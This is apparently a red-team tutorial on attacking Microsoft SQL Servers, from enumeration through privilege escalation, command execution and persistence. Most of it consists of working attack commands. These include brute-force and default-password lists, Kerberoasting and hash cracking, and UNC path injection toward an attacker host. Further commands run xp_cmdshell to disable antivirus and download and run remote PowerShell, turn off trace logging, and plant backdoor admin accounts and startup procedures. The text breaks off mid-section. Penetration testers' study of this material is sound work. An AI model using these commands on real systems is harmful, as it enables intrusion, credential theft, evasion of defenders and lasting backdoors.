Lately I've spent some time learning existing research on attack techniques for MS-SQL Servers, specifically for Red Team engagements & Penetration Tests and I'm very excited to share what I've learnt with all of you.
This post will provide you with an insight into the attack surfaces of Microsoft SQL Servers.
I'll touch upon relevant techniques (along with tools and commands) for each phase of the kill chain.
References
Table of Contents
1. Introduction
2. Enumeration
4. Exploitation
5. Persistence
Introduction
Why should we consider targeting MS-SQL Servers when we're performing a Red Team or an Assumed Breach Pentest?
The majority of organizations base their database infrastructure on SQL Servers.
Since it integrates really well with Windows & AD, the trust relationships can be leveraged for Lateral Movement.
From an OPSEC perspective, most Blue Teams will have detections in place at the OS & network level but may not be as strictly monitored at the database level.
SQL Service often runs with Local Admin privileges. This means when you execute commands as a SQL service, you have a really good chance of moving laterally and escalating privileges within the domain as we will see soon.
Before we get started with all of the hackeries, let's first understand a few important concepts within MS-SQL servers.
MS-SQL Fundamentals
The SQL Service is like any other Windows process and runs in the context of the Service account.
During the installation of MS-SQL Service, you choose an account(Managed Service account or a Domain account are mostly used in domain environments to integrate with Kerberos), and thereafter all of the interactions with the underlying OS take place in the context of this account.
For instance, if this account is privileged, and if you execute SQL injection queries via 'xp_cmdshell', you have those privileges when you execute OS commands.
SQL Server Accounts
At a high level we have the following three SQL Server Accounts:
Windows account (i.e domain accounts - mapped to SQL Server Login)
SQL Server Login (exists inside SQL server. Eg: sa)
Database User (exists inside SQL server - to access data within DB)
To sign in to an SQL server one can use:
Windows account → maps to SQL Server Login → maps to DB user → access to data
SQL Server login → maps to DB user → access to data
The screenshot below shows how one would configure authentication for SQL servers ("Mixed Mode" in most cases). Below which, one sets the password for the 'sa' account (SQL Server Login account). Think of this as the administrator account. Following this, at least one domain account is mapped to the 'sysadmin' role.
In the case of Windows account, the SQL server does not prompt for a password. Authentication is handled by Kerberos. Post auth → You are mapped to a SQL Server role.
In the case of SQL Server Login, authentication is handled by the SQL Server. Post auth → You are mapped to a SQL Server role.
Post authentication, you can see the SQL Server Logins including the ones we configured during installation.
SQL Roles
There are two kinds of SQL roles:
Server Roles
Database Roles
Windows accounts and SQL Server Logins are mapped to a server-level role. Think of these as groups. The privileges you have will depend on which role(s) you've been given. There are 9 server-level roles, however, in most cases, you will come across the following roles:
sysadmin - Perform any activity on the server. (Think admin account)
public - Least privileged - Every SQL Server login belongs to this role by default (Think "Everyone" domain group) - able to connect & list DBs
For instance, let's say we want to give our organization's DB admin(ben.doe) the 'sysadmin' server-level role. You can configure the same within SQL Server Login options. The same can be done for a domain group. Note the 'public' role is checked by default.
Post authentication, to access data within the DB, you need to have a DB-level role. Database-level roles are database-wide in their permissions scope. We are interested in the below DB-level roles:
db_owner: Perform all configuration activities on the database. (Think admin of the DB)
public: Least privileged - Every database user belongs to this role by default.
LAB Setup Guide
To set up your lab environment follow the steps provided here.
Lab components include:
• Virtual Machines: Domain Controller + Workstation
• SQL Express Setup:
Set up SPN for a Domain User account
Install SQL Service as the above account
Set up Firewall Rules
• SQL Management Studio
• Heidi SQL
Enumeration
There are multiple techniques to locate and enumerate MS-SQL servers as a:
Unauthenticated User
Local User
Local Admin
Domain User
Let's say you've been tasked with a Red Team engagement and you have to gain access to an organization's network. So you go on-site and find out there's Guest WiFi without a password. You happily login to the guest network and get to know there's no network segmentation between the guest network and the internal network. Let's try to find if there are any SQL servers on the network and enumerate them.
Unauthenticated User
Port Scanning: TCP/UDP Scan
By default, SQL servers listen on TCP 1433 and UDP 1434. The port scanning tools mentioned below perform a TCP/UDP scan and queries hosts on these ports for SQL servers.
#PowerUpSQL
Get-Content targets.txt | Get-SQLInstanceScanUDP –Threads 10
Get-SQLInstanceBroadcast
#Nmap: nmap -sU --script=ms-sql-info
#Metasploit: use auxiliary/scanner/mssql/mssql_ping
#PowerSploit: Invoke-Portscan -StartAddress <IP> -EndAddress <IP> -ScanPort 1433 –VerboseUDP Broadcast
We use SqlDataSourceEnumerator class to load the Instance.GetDataSources() static method to send a UDP request across the local broadcast network and any SQL servers listening will respond.
[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()
#osql / sqlcmd:
sqlcmd /LOpen shares/ Repositories
During the OSINT phase, enumerate public repositories for connection strings and DB credentials.
Enumerate the internal network for open shares. These may contain configuration files for connection strings which may be used for authentication.
Local User
To check if there's a SQL service running as a local user you can use:
Registry Enumeration
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server'
- Service EnumerationService Enumeration
Get-Service -Name *MSSQL*
#PowerUpSQL
Get-SQLInstanceLocal | Get-SQLConnectionTest
Local Privilege Escalation via JuicyPotato can help elevate to LOCAL SYSTEM.
Local Administrator
If you're able to elevate to Local Admin privileges on a server running a SQL service, you can get access to the database using the following techniques:
Read LSA Secrets
With SYSTEM privileges to a host, you can access Local Security Authority secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets.
Dump WDigest/NTLM Hashes from memory
#Enable WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. With SYSTEM privileges you can access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).
If you're unable to crack the password hash, you can enable WDigest by registry modification to lower the security of how credentials are stored in memory. Once enabled every subsequent login onto that host stores its password in cleartext.
With local admin privileges, one can check for tokens of the SQL service account and impersonate them so that you can gain access privileges and run commands as that user.
#PowerUpSQL
Invoke-SQLImpersonateService
#https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1Dump local MS-SQL server hashes from a Windows system if you don't have access to this database.
The tool "osql" is installed with Microsoft SQL Server and the option "-E" will try to authenticate on the database with your current Windows login account.
#MSSQL 2000:
osql -E -Q "SELECT name,password frommaster.dbo.sysxlogins"
#MSSQL 2005
osql -E -Q "SELECT name,password_hash FROMsys.sql_logins"Domain User
SPN Scanning
Assuming you have access to a domain user, you can perform SPN Scanning. SPN scanning is fast and reliable at finding all SQL servers in the domain. (port scanning is limited by network restrictions). It relies on how services are configured in Active Directory:
- Every service that is enabled for Kerberos authentication must have a Service Principal Name.
- SPN is a unique identifier of a service instance in an AD forest.
- SPN scanning performs service discovery via LDAP queries to a Domain Controller.
- It returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL* Service Principal Names (SPNs).
#PowerUpSQL
Get-SQLInstanceDomain
#Check network accessibility
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
#Check for read privs
Get-SQLInstanceDomain | Get-SQLServerInfo
Authentication via Brute-force
It's always a good idea to check for weak passwords for SQL Server Logins.
Invoke-SQLAuditWeakLoginPw - By default, will only test the login as the password, and "password" as the password. So only two passwords will be attempted for each enumerated login. However, custom user and password lists can be provided.
Get-SQLServerLoginDefaultPw - Checks for default credentials on SQL Server instances used by 3rd party applications. If the instance name is a known 3rd party, the corresponding password is tried. A few instance names and their passwords are given below:
Instance | Password |
SALESLOGIX | sa/SLXMaster |
ACT7 | sa/sage |
COMMVAULT | sa/admin |
RTCLOCAL | sa/mypassword |
PCAMERICA | sa/PCAmerica |
#PowerUpSQL
Invoke-SQLAuditWeakLoginPw
Get-SQLServerLoginDefaultPw
#Metasploit
use auxiliary/scanner/mssql/mssql_login
#Nishang:
$targets = (GetSQLInstanceDomain).ComputerName
$targets | Invoke-BruteForce -UserList users.txt -PasswordList pass.txt -Service SQLAuthentication via Valid Accounts
Let's say you've identified valid credentials, you can use the following tools:
#PowerUpSQL
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password
#Check with privileges of an alternate domain user:
runas /noprofile /netonly /user:<domain\user> powershell.exe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
#Metasploit: use auxiliary/scanner/mssql/mssql_login
#Impacket: mssqlclient.py -p 1433 @ -windows-auth
#Sqsh: sqsh -S 10.10.10.100 -U sa -P Password
#Sqlcmd: sqlcmd –S -U 
Enumeration via Database
Blind SQL Server & Domain Enumeration
The "suser_name()" function returns the principal name for a given principal ID. All you need is the 'public' DB role i.e all domain users can use this function.
For instance, the principal ID(1) corresponds to' sa' and principal ID(259) corresponds to 'HOME\sql_admin' in our lab environment.
PowerUpSQL automates this process by fuzzing all Principal IDs to return the corresponding principal names from the database.
#PowerUpSQL
Get-SQLFuzzServerLogin -Instance
Get-SQLFuzzDomainAccount -Instance 
Additional SQL server logins identified can be targets for brute-force attacks for weak passwords. In our case, we've identified 'Joe', 'Joey' and 'trustedjoe' apart from default SQL Server logins.
You can take this a step ahead and enumerate all domain users, groups and more. For more information refer NetSPI's blog.
Database Enumeration
Alright! Assuming you've got your hands on a set of working credentials, what are some basic commands to enumerate the database? You may be familiar with the below commands if you've exploited a classic SQL injection vulnerability.
#Server version:
SELECT @@version
#Current Server Login (relevant for SQLi attacks):
SELECT SYSTEM_USER
#Current DB Role:
SELECT user
#Enumerate sysadmin privs:
SELECT IS_SRVROLEMEMBER('sysadmin’)
#List DB Users and Roles:
select rp.name as database_role, mp.name as database_user from sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
#Current DB:
SELECT db_name()
#List DBs:
SELECT name FROM master..sysdatabases
#List tables:
use ;SELECT * FROM INFORMATION_SCHEMA.TABLES;
#Extract table contents:
use ;select * from dbo.
#Extract Password Hash(requires 'sa'):
Get-SQLServerPasswordHash -Verbose -Instance 
Automated Enumeration
If you'd like to automate the process of enumeration of privileges, you can use PowerUpSQL's Invoke-SQLDumpInfo. This cmdlet can be used to quickly inventory databases, privileges and other information and stores them as CSV files which then can be used to create a report.
#PowerUpSQL
Invoke-SQLDumpInfo -Verbose -Instance "<Instance Name>"
Privilege Escalation
So now you've completed your enumeration phase → identified SQL server instances on the network → identified SQL server logins → let's assume you have found a set of valid credentials. We will now look into various misconfigurations which can be abused for the elevation of privileges.
Kerberoasting
In order to understand how kerberoasting works, one needs to understand how authentication is handled within Active Directory. I'd recommend reading the reference link for a detailed explanation.
Basically what we're doing is we request a TGS for our SQL Service from the Domain Controller, which is encrypted with the NTLM hash of the SQL service account. Once we receive the TGS, we brute-force it against a list of weak passwords and if the password in use is present in the wordlist, we can gain access to the SQL Server.
In order to increase your chances of cracking a hash with hashcat use:
Mask attacks: If we're able to identify the minimum character length from the domain's password policy, you can use mask attacks to narrow down all possibilities based on common patterns
Rulesets: If you want to use a well-known ruleset instead, you can use OneRuleToRuleThemAll.
#Request a TGS
#with Impacket:
GetUserSPNs.py -dc-ip /
#with Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.txt
#Crack hashes with Hashcat:
hashcat.exe -a 3 -m 5600 hashes.txt -1 ?l?d?u -2 ?u ?2?1?1?1?1?1?1 -o cracked.txt –O
hashcat -m 13100 hash.txt Pass-wordlist.txt –force -r rules/OneRuleToRuleThemAll.rule -- debug-mode=1 --debug-file=matched.ruleUNC Path Injection
A UNC path uses double slashes or backslashes to precede the name of the computer. For instance: \\server-name\shared-resource
UNC paths are used to access remote file servers under the context of the SQL Server service account. Within SQL Servers, the stored procedures 'xp_dirtree' and 'xp_fileexist' accept file paths. These stored procedures are available to members of the 'public' role by default.
If we can point these to our Capture Server where we'll have a listener set up with Responder, the SQL server tries to access the share and authenticate to it, which is where we can extract the SQL service account's password hash and crack/relay it.
Hence by default, the public role(i.e every domain user) has direct access to the SQL Server service account's NetNTLMv2 password hash.
xp_dirtree \\< Attacker-IP>\
xp_fileexist \\<Attacker-IP>\For a detailed guide on how to perform LLMNR Poisoning & relay attacks with Responder\Inveigh refer:
In the screenshot below, I've used the 'xp_dirtree' stored procedure to fetch a file from our listener server, which then obtains the NTLMv2 hash of the SQL service account.
In the screenshot below, I've used the 'xp_dirtree' stored procedure to relay the hash onto another host(SMB-Signing should be disabled) where the SQL server apparently had administrative privileges. In this case, NTLMRelayx, by default dumps the local SAM database.
Impersonation
The 'EXECUTE AS' statement is a feature within SQL servers that allows a user to impersonate and execute commands as another SQL Server login or database user. This allows database admins to delegate permissions to other users to execute certain stored procedures without necessarily giving them the sysadmin role.
Execution context is reverted to the original caller only after execution of the procedure or when a REVERT statement is issued. By default, this permission is implied for 'sysadmin' for all databases and 'db_owner' role members in databases that they own.
Always check for impersonation chains. For example, User A can impersonate User B. User B can impersonate 'sa’.
Note when you run the 'xp_cmdshell' stored procedure while impersonating a user all of the commands are still executed as the SQL Server service account, NOT the SQL Server login or impersonated domain user. So even if the sysadmin can impersonate the Domain Admin within the SQL server, OS commands are still executed in the context of the SQL service account.
#Find SQL Server Logins that can be impersonated:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE
In the screenshot above, SQL Login 'Joe' can impersonate 'Joey' & 'sa'. Let's try to switch our execution context to these users.
#Impersonate the server level permissions of a login:
EXECUTE AS LOGIN = '<user>';
REVERT 
However, if we try to execute commands as 'sa', the SQL server gives us an error.
This is a good indicator to check for impersonation chains.
Current user: Joe → Impersonates Joey (not sysadmin) →Impersonates sa (is sysadmin)
The database property 'is_trustworthy_on' is used to indicate whether a SQL Server instance trusts a database and its contents. The property is turned off by default as a security measure. When TRUSTWORTHY is off, impersonated users will only have database-scope permissions but when TRUSTWORTHY is turned on, impersonated users can perform actions with server-level permissions.
This isn’t always bad, but when sysadmins create trusted databases and don’t change the owner to a lower privileged user the risks start to become noticeable. This allows writing procedures that can execute code that uses server-level permission. If the TRUSTWORTHY setting is set to ON, and if a sysadmin is the owner of the database, it is possible for a user with the db_owner role to elevate privileges to sysadmin.
Attack Flow:
- Sysadmin is the database owner (dbo) of the database.
- Current/impersonated user has db_owner role [i.e Admin privileges in the database]
- We create a stored procedure that can EXECUTE AS OWNER.
- Executed stored procedure adds the user to the sysadmin role!
#Enumerate TRUSTWORTHY database:
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
#Enumerate for db_owner role within a DB:
use;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name; 
#Create a stored procedure to add ‘trustedjoe’ to sysadmin role:
USE SecretDB
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'trustedjoe' , 'sysadmin'
#Delete procedure afterwards:
DROP PROCEDURE <procedurename>; 
Automated Audit
If you'd like to automate the checks for common high impact vulnerabilities and weak configurations using the current login’s privileges, use PowerUpSQL's Invoke-SQLAudit. All of the techniques that we discussed can be identified with this script as shown in the screenshots below.
#PowerUpSQL
Invoke-SQLAudit -Instance '<Instance>'
Exploitation
Recalling our initial Red Team scenario where:
We gained access to the Guest WiFi network → Found SQL Login credentials via weak passwords / misconfigured Share drive → Able to impersonate an 'sa' user
or maybe we were given a Domain account → Access & cracked the hash of the SQL Service account via Kerberoasting\UNC Path injection.
Let's assume that we have sysadmin privileges at this point. How do we leverage this to elevate privileges within the domain and perform lateral movement as well as extract sensitive data to demonstrate impact to our clients.
OS Command Execution
With sysadmin privileges on a SQL Server, it is possible to execute OS level commands on the server as:
1. SQL Server service account in almost all cases when running as:
Local user, local admin, SYSTEM, Network service, Local managed service account.
Domain user, domain admin, domain managed service account.
2. Agent service account for agent jobs. (Disabled by default)
'xp_cmdshell' Stored Procedure
In SQL Server, stored procedures are basically chunks of SQL code intended for reuse that get compiled into a single execution plan. Similar to functions, they can accept parameters and provide output to the user. The 'xp_cmdshell' is a commonly abused stored procedure in SQL servers to execute OS-level commands. This is disabled by default but can be enabled with 'sysadmin' privileges.
#If the xp_cmdshell stored procedure has been dropped but the .dll has not #been deleted, any of following will re-install it:
EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
EXEC sp_addextendedproc xp_cmdshell,'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
#Enable xp_cmdshell
EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
#Automate on multiple instances:
#PowerUpSQL
Invoke-SQLOSCmdExec -Instance -Command whoamiHow can we leverage this stored procedure for exploitation?
#Disable AV & get a reverse shell
EXEC xp_cmdshell ‘powershell.exe –c Set-MPPreference –DisableRealTimeMonitoring $true’
EXEC xp_cmdshell 'echo IEX(iwr <https://URL/script.ps1> -UseBasicParsing) | powershell -noprofile'
#Create a Local Admin
net localgroup administrators janedoe /add
#Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#Establish an RDP session
xfreerdp /u:janedoe /p:<pass> /cert:ignore /v:<Target> /workarea /drive:/localdir,share /dynamic-resolution +clipboard
This method is well known and typically disabled on a production system.
Blue teams will often monitor the enabling of the procedure.
Note: 'xp_cmdshell' is synchronous. This means if you use this to obtain a reverse shell, as long as your shell is alive, control will not be returned to the next statement.
Custom Extended Stored Procedures
We can create a stored procedure that replicates the functionality of 'xp_cmdshell'. Note that this requires writing a file to the disk of the victim SQL server.
In a nutshell, we create a DLL which will execute a custom command → Save the DLL to an accessible location (UNC path\WebDAV) → Create a stored procedure that loads the DLL → Execute the newly created stored procedure.
Unfortunately in my testing, I was unable to execute the stored procedure due to an error even though I had set everything up properly. [Error: "Reason 126: The specified module could not be found".] If you know how to get past this, please let me know!
#PowerUpSQL:
Create-SQLFileXpDll -OutFile C:\Files\create_user.dll -Command "net user Hacker Password1!;net localgroup administrators Hacker /add" -ExportName create_user
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'create_user', '\\192.168.16.7\Files\create_user.dll'"
Get-SQLQuery -UserName sa -Password Password1 –Instance <Instance> –Query "EXEC create_user"
#Cleanup
sp_dropextendedproc 'create_user'
#Load via WebDAV renamed to .txt
sp_addextendedproc 'create_user', '\\myserver@80\path\create_user.txt
#List existing stored procedures (PowerUpSQL):
Get-SQLStoredProcedureXP -Instance <Instance> -VerbosePro tip: This could be used as a Persistence technique as well!
Fileless CLR-based Custom Stored Procedures
Common Language Runtime is basically a run time environment by .NET to execute code.
Assemblies take the form of executables (.exe) or dynamic link library (.dll) files and are the building blocks of .NET applications. CLR Assembly is a .NET DLL that can be imported into SQL Server. Once imported, the DLL methods can be linked to stored procedures and executed via TSQL.
Hence we can execute C# code via the creation of a custom CLR stored procedure on a target SQL Server with the below advantages:
Loads a .NET assembly directly into the memory of a SQL Server.
No disk footprint.
xp_cmdshell is not required
We'll discuss two ways of using this 'feature':
1. Making Custom CLR DLL for SQL Server (Ideal for shells)
The below screenshot is an example(executes 'whoami') of the output of the PS script that :
2. Execute custom commands
#PowerUpSQL
InvokeSQLOSCmdCLR -Username sa -Password <pass> -Instance <target> -Command '<command'
#SeeCLRly: https://github.com/sekirkity/SeeCLRly
New-CLRProcedureSeeCLRly enables CLR stored procedures on the SQL Server.
Loads a .NET assembly into memory.
Creates a stored procedure (cmd_exec) from the loaded assembly.
#SeeCLRly
Invoke-CmdExec -Server <Target> -Command '<cmd>'The above cmdlet passes a specified command to the previously created stored procedure, where it is then executed.
OPSEC note: Enabling CLR Stored Procedure creates an alert just like 'xp_cmdshell', however, this isn't as closely monitored.
#Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assemblyOLE Automation Procedures
OLE stands for Object Linking and Embedding. It allows one application to link objects into another application. OLE procedures are system procedures that allow the use of COM using SQL queries. Simply put, COM allows for one application to expose its functionality to other applications.
OLE automation procedures are turned off by default however they can be turned on with either:
sysadmin privileges [OR]
Execute privileges on sp_OACreate & sp_OAMethod
#Enable OLE Automation
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO#Execute command with 'WScript.Shell' COM object and 'Run' method:
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
#Disable the default trace log files
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'default trace enabled',0;
reconfigure;
declare @i int,@size int;
set @i=1;
select @size = max(traceid) from ::fn_trace_getinfo(default);
while @i <= @size begin
exec sp_trace_setstatus @i,0;
set @i=@i+1;
end;In the example below, we use WScript.Shell to run 'calc.exe':
For more attack techniques with OLE automation procedures refer:
Imperva Blog
Agent Jobs
The SQL Server Agent service is used by SQL Server to execute scheduled tasks. It is typically used for items such as backing up the SQL Server database or other maintenance tasks. The agent jobs are scheduled and run under the context of the MSSQL Server Agent service. By default, this is configured as a 'Network Service' account, but can be more privileged accounts including domain accounts.
The screenshot below shows how the Agent service is configured on a default SQL installation. [Also note our lab installation of SQL Server(Express edition) doesn't come with Agent.]
Pre-requisites:
Agent service needs to be enabled. By default, the service 'Start Mode' is set to 'disabled' when you install SQL Server.
Requires sysadmin role by default.
Non-sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole fixed database roles in the msdb database can also be used.
You can use the following Subsystems (job types):
Microsoft ActiveX Script (VBScript and Jscript)
CmdExec
PowerShell
SSIS (SQL Server Integrated Services)
#View if SQL Agent service is running:
SELECT servicename,
startup_type_desc,
status_desc,
service_account
FROM sys.dm_server_services;
#Enumerate job names, and create similar names to avoid being detected.
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id
#PowerUpSQL
Get-SQLAgentJob -Instance <target> -username sa -Password <pass> -VerboseCreating a Job
Start the SQL Server Agent service (xp_startservice)
Create Job (sp_add_job)
Add job step (sp_add_jobstep)
Run Job (sp_start_job )
Delete Job (sp_delete_job)
Reference: Optiv Blog
Using subsystem: Powershell
#Delete job
EXEC dbo.sp_delete_job @job_name = N"PSJob'#PowerUpSQL
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password <pass> -Instance ops-sqlsrvone –Command "<powershell cmd>"#Using CmdExec subsystem:
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob'
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1',
@subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts =
1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
#EXEC dbo.sp_delete_job @job_name = N'cmdJob'SQL Links
A database link allows a SQL Server to access external data sources such as other SQL servers, Oracle databases, excel spreadsheets, and so on. Due to common misconfigurations, the links, or “Linked Servers”, can often be exploited to traverse database link networks, gain unauthorized access to data, and deploy shells. In the case of database links between SQL servers, it is possible to execute stored procedures. Database links work even across forest trusts.
SQL Server links can be configured in two ways.
Using the current security context.
Pre-configured with hard-coded credentials. (This is what we are interested in)
Note: Outgoing RPC connections (rpcout) need to be enabled on links in order to enable xp_cmdshell on remote linked servers. (Disabled by default)
RPCout issue:
If xp_cmdshell is not enabled on a linked server, it may not be possible to enable it even if the link is configured with sysadmin privileges.
Any queries executed via Openquery() are considered user transactions that don’t allow reconfigure to be run.
Enabling xp_cmdshell using sp_configure does not change the server state without reconfigure and thus xp_cmdshell will stay disabled.
#Enumerate SQL Links: (Check for presence of 1 for DatabaseLinkId)
Get-SQLServerLink -Instance dcorp-mssql –Verbose
#Crawl and list all Links:
Get-SQLServerLinkCrawl -Instance dcorp-mssql –Verbose
#OS Command exec on every hop(depends on privileges):
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "xp_cmdshell ‘whoami’ "
#Enable xp_cmdshell via links:
EXECUTE('sp_configure' ''xp_cmdshell'',1;reconfigure;')
AT "dsp-slsrvtwo"I'd recommend reading NetSPI's Blog to understand how attackers may be able to leverage misconfigured SQL links to access internal resources from an external network.
SQL Links Attack Path
After identifying a SQL injection on the DMZ web application server, User 'Captain Evil' identifies SQL links are configured.
He starts following the links from DB1 to DB2 to DB3 to DB4. And after getting sysadmin permissions on DB4, 'Captain Evil' can execute xp_cmdshell to execute Powershell and shoot back a reverse shell.
So by compromising the web application it’s possible to gain access to a secure network.
Just by following database links using legitimate (i.e. not blocked by internal ACL etc.) database connections 'Captain Evil' got access to the most critical system.
Shared Service Accounts
Organizations often utilize a single domain account to run many SQL Servers.
If we compromise a single SQL Service account, we will also have compromised all SQL servers using that shared account. OS commands executed inside SQL Server run in the context of the SQL Server service account.
SQL Server service accounts have sysadmin privileges by default. This means sysadmin access to those databases and possibly administrative access to the underlying OS since SQL services usually run with local administrator privileges.
Sensitive Data on SQL Servers
Going back to our scenario, we have identified several SQL Servers, gained sysadmin privileges and exploited them for lateral movement. Let's assume one of the objectives of the Red Team engagement was to target customer credit card data.
With PowerUpSQL we can easily scale domain SQL DB enumeration for sensitive information. It samples columns from the DB and checks for certain keywords or patterns.
Key factors to consider when targetting databases:
Database Name: Databases are often named after the associated application or the type of data they contain.
is_encrypted Flag: This tells us if transparent encryption is used. People tend to encrypt things they want to protect so these databases make good targets. Transparent encryption is intended to protect data at rest, but if we log in as a sysadmin, SQL Server will do the work of decrypting it for us.
Database File Size: The database file size can help you determine if the database is actually being used. The bigger the database, the more data to sample.
#PowerUpSQL
#Get accessible SQL Servers:
$Servers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10
#View accessible Servers:
$Accessible = $Servers | Where-Object {$_.Status –eq “Accessible”
#Accessible Databases:
$Databases = $Accessible | Get-SQLDatabaseThreaded –Verbose –Threads 10 –NoDefaults
#DBs with is_encrypted Flag:
$Databases | Where-Object {$_.is_encrypted –eq “TRUE”}Automate enumeration of sensitive data:
#PowerUpSQL:
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded –Verbose – Threads 10 –Keyword “credit,password” –SampleSize 2 –ValidateCC –NoDefaults | ExportCSV –NoTypeInformation c:\temp\datasample.csvBelow is a breakdown of what the command does:
It runs 10 concurrent host threads at a time
It searches accessible domain SQL Servers for database table columns containing the keywords “card” or “password”
It filters out all default databases
It grabs two-sample records from each matching column
It checks if the sample data contains a credit card number
dataLoc is a GUI based alternative to perform the same:
Persistence
During red team engagements, one common goal is to maintain access to target environments while security teams attempt to identify and remove persistence methods.
Detective controls tend to focus on compromised account identification and persistence methods at the operating system layer. While prioritizing detective control development in those areas is a good practice, common database persistence methods are often overlooked.
Persistence via SQL Servers - Why?
The .mdf files that SQL Server uses to store data and other objects such as stored procedures are constantly changing, so there is no easy way to use File Integrity Monitoring (FIM) to identify database layer persistence methods.
Abuse activities are masked under the context of the associated SQL Server service account. This helps make potentially malicious actions appear more legitimate.
It’s very common to find SQL Server service accounts configured with local administrative or LocalSystem privileges. This means that in most cases any command and control code running from SQL Server will have local administrative privileges.
Very few databases are configured to audit for common Indicators of Compromise (IoC) and persistence methods.
All startup stored procedures run under the context of the 'sa' login, regardless of what login was used to flag the stored procedure for automatic execution. Even if the 'sa' login is disabled, the startup procedures will still run under the sa context when the service is restarted.
The native 'sp_procoption' stored procedure can be used to configure user-defined stored procedures to run when SQL Server is started or when the SQL service is restarted.
#List stored procedures marked for automatic execution
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
#Change DB
USE master
#Create BACKDOOR procedure
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell "net user backdoor 'Password1!' /add"
EXEC master..xp_cmdshell "net localgroup administrators backdoor /add"
#Mark for automatic execution
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
#PowerUpSQL can automate the following:
#Add a SQL Server sysadmin:
Invoke-SqlServer-Persist-StartupSp -SqlServerInstance "MSSQLWIN8" -NewSqlUser Evilsa -NewSqlPass Pass1!
#Add a local Windows Administrator:
Invoke-SqlServer-Persist-StartupSp -SqlServerInstance " MSSQLWIN8 "NewosUser Evilosadmin1 -NewosPass Pass3!
#Run custom PS code:
Invoke-SqlServer-Persist-StartupSp -SqlServerInstance " MSSQLWIN8 " -PsCommand "IEX(new-object net.webclient).downloadstring('/script.ps1')"
Registry Modification
'xp_regwrite' is a native extended stored procedure that you can use to create/modify Windows registry keys without using xp_cmdshell. Note this executes with the SQL Server service account’s privileges. (Requires Local Admin privileges)
This technique basically modifies a registry key to perform a certain action based on an event. This could be when a user logs in, or when the system restarts or even when a pre-configured key is entered.
To execute a command each time a user logs in using HKEY_LOCAL_MACHINE\SoftwareMicrosoftWindowsCurrentVersionRun registry key:
#PowerUpSQL
Get-SQLPersistRegRun -Name Evil -Command 'powershell.exe -C "<command>"' -Instance "SQLServerDEV2014"
Setting a debugger for accessibility options.
We configure a debugger for utilman.exe (Shortcut key: windows key+u), which will run cmd.exe when it’s called. After the registry key has been modified, it’s possible to RDP to the target and launch cmd.exe with the 'windows key+u' key combination.
With this, no user interaction is required to execute commands as SYSTEM.
Note if network-level authentication(NLA) is enabled, you won’t have enough access to see the login screen and you may have to consider other options for command execution.
#PowerUpSQL
